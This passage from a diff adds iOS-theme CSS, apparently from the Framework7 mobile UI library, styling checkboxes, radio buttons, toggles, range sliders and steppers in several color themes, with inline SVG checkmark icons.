#ff9500; +} +.ios label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-white input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-black input[type="checkbox"]:checked ~ i { + background: #000000; +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-radio { + width: 22px; + height: 22px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; +} +.ios .radio .icon-radio { + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios label.item-radio input[type="radio"] ~ .icon-radio { + position: absolute; + top: 50%; + margin-top: -11px; + right: 10px; +} +.ios label.item-radio .item-inner { + padding-right: 35px; +} +.ios label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .radio input[type="radio"]:checked ~ .icon-radio { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 10px; +} +.ios .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio .item-content .item-media, +.ios label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-radio.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-right-edge label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .ios-edges label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .popup label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .sheet-modal label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .panel-right label.item-radio input[type="radio"] ~ .icon-radio { + right: calc(10px + constant(safe-area-inset-right)); + right: calc(10px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset) label.item-radio .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)) !important; + padding-right: calc(35px + env(safe-area-inset-right)); + } +} +.ios .theme-dark label.item-radio.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.ios label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .toggle { + width: 52px; + border-radius: 16px; + height: 32px; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon { + background: #4cd964; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(20px); + transform: translateX(20px); +} +.ios .toggle-icon { + width: 52px; + border-radius: 16px; + height: 32px; + background: #e5e5e5; +} +.ios .toggle-icon:before { + position: absolute; + left: 2px; + top: 2px; + width: 48px; + height: 28px; + border-radius: 16px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #fff; + z-index: 1; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: scale(1); + transform: scale(1); +} +.ios .toggle-icon:after { + height: 28px; + width: 28px; + top: 2px; + left: 2px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + border-radius: 14px; +} +.ios .toggle-active-state input[type="checkbox"]:not(:checked) + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle-active-state input[type="checkbox"] + .toggle-icon:after { + width: 35px; +} +.ios .toggle-active-state input[type="checkbox"]:checked + .toggle-icon:after { + width: 35px; + -webkit-transform: translateX(13px); + transform: translateX(13px); +} +.ios .theme-dark .toggle-icon { + background-color: #fff; +} +.ios .theme-dark .toggle-icon:before { + background-color: #1c1c1d; +} +.ios .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff3b30; +} +.ios .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background-color: #4cd964; +} +.ios .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background-color: #007aff; +} +.ios .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff2d55; +} +.ios .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffcc00; +} +.ios .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff9500; +} +.ios .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background-color: #8e8e93; +} +.ios .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffffff; +} +.ios .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background-color: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: hidden; +} +.range-bar-active { + position: absolute; + left: 0; + top: 0; + height: 100%; +} +.range-knob-wrap { + z-index: 20; + position: absolute; + top: 50%; + left: 0; +} +.range-knob { + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 50%; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 1; +} +.range-knob:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.range-knob-label { + position: absolute; + left: 50%; + bottom: 100%; + text-align: center; + -webkit-transition-duration: 120ms; + transition-duration: 120ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translateY(100%) scale(0); + transform: translateY(100%) scale(0); +} +.range-knob-active-state .range-knob-label { + -webkit-transform: translateY(0%) scale(1); + transform: translateY(0%) scale(1); +} +.ios .range-slider { + height: 28px; +} +.ios .range-bar { + background: #b7b8b7; + border-radius: 2px; + height: 1px; +} +.ios .range-bar-active { + background: #007aff; +} +.ios .range-knob-wrap { + height: 28px; + width: 28px; + margin-top: -14px; + margin-left: -14px; +} +.ios .range-knob { + background: #fff; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); +} +.ios .range-knob-label { + min-width: 20px; + height: 20px; + line-height: 20px; + background: #fff; + border-radius: 5px; + color: #000; + font-size: 12px; + margin-bottom: 6px; + -webkit-transform: translateX(-50%) translateY(100%) scale(0); + transform: translateX(-50%) translateY(100%) scale(0); +} +.ios .range-knob-active-state .range-knob-label { + -webkit-transform: translateX(-50%) translateY(0%) scale(1); + transform: translateX(-50%) translateY(0%) scale(1); +} +.ios .color-theme-red .range-slider .range-bar-active { + background-color: #ff3b30; +} +.ios .color-theme-green .range-slider .range-bar-active { + background-color: #4cd964; +} +.ios .color-theme-blue .range-slider .range-bar-active { + background-color: #007aff; +} +.ios .color-theme-pink .range-slider .range-bar-active { + background-color: #ff2d55; +} +.ios .color-theme-yellow .range-slider .range-bar-active { + background-color: #ffcc00; +} +.ios .color-theme-orange .range-slider .range-bar-active { + background-color: #ff9500; +} +.ios .color-theme-gray .range-slider .range-bar-active { + background-color: #8e8e93; +} +.ios .color-theme-white .range-slider .range-bar-active { + background-color: #ffffff; +} +.ios .color-theme-black .range-slider .range-bar-active { + background-color: #000000; +} +.ios .range-slider.color-red .range-bar-active { + background-color: #ff3b30; +} +.ios .range-slider.color-green .range-bar-active { + background-color: #4cd964; +} +.ios .range-slider.color-blue .range-bar-active { + background-color: #007aff; +} +.ios .range-slider.color-pink .range-bar-active { + background-color: #ff2d55; +} +.ios .range-slider.color-yellow .range-bar-active { + background-color: #ffcc00; +} +.ios .range-slider.color-orange .range-bar-active { + background-color: #ff9500; +} +.ios .range-slider.color-gray .range-bar-active { + background-color: #8e8e93; +} +.ios .range-slider.color-white .range-bar-active { + background-color: #ffffff; +} +.ios .range-slider.color-black .range-bar-active { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.ios .stepper { + height: 29px; +} +.ios .stepper-button, +.ios .stepper-button-minus, +.ios .stepper-button-plus { + border: 1px solid #007aff; + color: #007aff; + border-radius: 5px; + line-height: 27px; + height: 29px; + width: 40px; +} +.ios .stepper-button .f7-icons, +.ios .stepper-button-minus .f7-icons, +.ios .stepper-button-plus .f7-icons { + font-size: 22px; +} +.ios .stepper-button:first-child, +.ios .stepper-button-minus:first-child, +.ios .stepper-button-plus:first-child { + border-radius: 5px 0 0 5px; +} +.ios .stepper-button:last-child, +.ios .stepper-button-minus:last-child, +.ios .stepper-button-plus:last-child { + border-radius: 0 5px 5px 0; +} +.ios .stepper-button.active-state, +.ios .stepper-button-minus.active-state, +.ios .stepper-button-plus.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .stepper-button + .stepper-button, +.ios .stepper-button-minus + .stepper-button, +.ios .stepper-button-plus + .stepper-button, +.ios .stepper-button + .stepper-button-minus, +.ios .stepper-button-minus + .stepper-button-minus, +.ios .stepper-button-plus + .stepper-button-minus, +.ios .stepper-button + .stepper-button-plus, +.ios .stepper-button-minus + .stepper-button-plus, +.ios .stepper-button-plus + .stepper-button-plus { + border-left: none; +} +.ios .stepper-button-plus:after, +.ios .stepper-button-minus:after, +.ios .stepper-button-plus:before, +.ios .stepper-button-minus:before { + background: #007aff; +} +.ios .stepper-input-wrap, +.ios .stepper-value { + border-top: 1px solid #007aff; + border-bottom: 1px solid #007aff; +} +.ios .stepper .stepper-value { + color: #007aff; + font-size: 17px; +} +.ios .stepper .stepper-input-wrap input { + height: 100%; + text-align: center; + color: #007aff; + font-size: 17px; +} +.ios .stepper-fill .stepper-button, +.ios .stepper-fill-ios .stepper-button, +.ios .stepper-fill .stepper-button-minus, +.ios .stepper-fill-ios .stepper-button-minus, +.ios .stepper-fill .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-plus { + color: #fff; + background: #007aff; +} +.ios .stepper-fill .stepper-button.active-state, +.ios .stepper-fill-ios .stepper-button.active-state, +.ios .stepper-fill .stepper-button-minus.active-state, +.ios .stepper-fill-ios .stepper-button-minus.active-state, +.ios .stepper-fill .stepper-button-plus.active-state, +.ios .stepper-fill-ios .stepper-button-plus.active-state { + opacity: 0.8; +} +.ios .stepper-fill .stepper-button-plus:before, +.ios .stepper-fill-ios .stepper-button-plus:before, +.ios .stepper-fill .stepper-button-minus:before, +.ios .stepper-fill-ios .stepper-button-minus:before, +.ios .stepper-fill .stepper-button-plus:after, +.ios .stepper-fill-ios .stepper-button-plus:after, +.ios .stepper-fill .stepper-button-minus:after, +.ios .stepper-fill-ios .stepper-button-minus:after { + background-color: #fff; +} +.ios .stepper-fill .stepper-button + .stepper-button, +.ios .stepper-fill-ios .stepper-button + .stepper-button, +.ios .stepper-fill .stepper-button-minus + .stepper-button-plus, +.ios .stepper-fill-ios .stepper-button-minus + .stepper-button-plus { + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .stepper-round .stepper-button:first-child, +.ios .stepper-round-ios .stepper-button:first-child, +.ios .stepper-round .stepper-button-minus:first-child, +.ios .stepper-round-ios .stepper-button-minus:first-child, +.ios .stepper-round .stepper-button-plus:first-child, +.ios .stepper-round-ios .stepper-button-plus:first-child { + border-radius: 29px 0 0 29px; +} +.ios .stepper-round .stepper-button:last-child, +.ios .stepper-round-ios .stepper-button:last-child, +.ios .stepper-round .stepper-button-minus:last-child, +.ios .stepper-round-ios .stepper-button-minus:last-child, +.ios .stepper-round .stepper-button-plus:last-child, +.ios .stepper-round-ios .stepper-button-plus:last-child { + border-radius: 0 29px 29px 0; +} +.ios .stepper-small, +.ios .stepper-small-ios { + height: 26px; +} +.ios .stepper-small 